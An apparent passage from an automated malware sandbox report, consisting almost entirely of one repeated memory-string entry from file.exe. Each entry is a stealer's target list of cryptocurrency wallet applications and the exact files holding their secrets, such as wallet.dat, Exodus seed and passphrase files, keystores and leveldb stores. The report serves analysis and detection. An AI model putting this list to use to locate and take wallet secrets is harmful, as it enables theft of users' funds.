Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2730002309.00000000009E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2730002309.00000000009E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2730002309.00000000009E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2730002309.00000000009E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2730002309.00000000009E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2730002309.00000000009E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2730002309.00000000009E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2730002309.00000000009E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2730002309.00000000009E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2730002309.00000000009E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local Storage\leveldb\\|.\|0\|Binance\|1\|\Binance\\|app-store.json\|0\|Binance\|1\|\Binance\\|simple-storage.json\|0\|Binance\|1\|\Binance\\|.finger-print.fp\|0\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.wallet\|1\|Coinomi\|1\|\Coinomi\Coinomi\wallets\\|.config\|1\|Ledger Live\Local Storage\leveldb\|1\|\Ledger Live\Local Storage\leveldb\\|.\|0\|Ledger Live\|1\|\Ledger Live\\|.\|0\|Ledger Live\Session Storage\|1\|\Ledger Live\Session Storage\\|.\|0\|Chia Wallet\config\|2\|\.chia\mainnet\config\\|.\|0\|Chia Wallet\run\|2\|\.chia\mainnet\run\\|.\|0\|Chia Wallet\wallet\|2\|\.chia\mainnet\wallet\\|.\|0\|Komodo Wallet\config\|1\|\atomic_qt\config\\|.\|0\|Komodo Wallet\exports\|1\|\atomic_qt\exports\\|.\|0\|Guarda Desktop\IndexedDB\https_guarda.co_0.indexeddb.leveldb\|1\|\Guarda\IndexedDB\https_guarda.co_0.indexeddb.leveldb\\|.\|0\|Guarda Desktop\Local Storage\leveldb\|1\|\Guarda\Local Storage\leveldb\\|.\|0\|
Source: file.exe, 00000001.00000002.2730002309.00000000009E0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Bitcoin Core\|1\|\Bitcoin\wallets\\|wallet.dat\|1\|Bitcoin Core Old\|1\|\Bitcoin\\|wallet.dat\|0\|Dogecoin\|1\|\Dogecoin\\|wallet.dat\|0\|Raven Core\|1\|\Raven\\|wallet.dat\|0\|Daedalus Mainnet\|1\|\Daedalus Mainnet\wallets\\|she.sqlite\|0\|Blockstream Green\|1\|\Blockstream\Green\wallets\\|.\|1\|Wasabi Wallet\|1\|\WalletWasabi\Client\Wallets\\|.json\|0\|Ethereum\|1\|\Ethereum\\|keystore\|0\|Electrum\|1\|\Electrum\wallets\\|.\|0\|ElectrumLTC\|1\|\Electrum-LTC\wallets\\|.\|0\|Exodus\|1\|\Exodus\\|exodus.conf.json\|0\|Exodus\|1\|\Exodus\\|window-state.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|passphrase.json\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|seed.seco\|0\|Exodus\exodus.wallet\|1\|\Exodus\exodus.wallet\\|info.seco\|0\|Electron Cash\|1\|\ElectronCash\wallets\\|.\|0\|MultiDoge\|1\|\MultiDoge\\|multidoge.wallet\|0\|Jaxx Desktop (old)\|1\|\jaxx\Local Storage\\|file__0.localstorage\|0\|Jaxx Desktop\|1\|\com.liberty.jaxx\IndexedDB\file__0.indexeddb.leveldb\\|.\|0\|Atomic\|1\|\atomic\Local 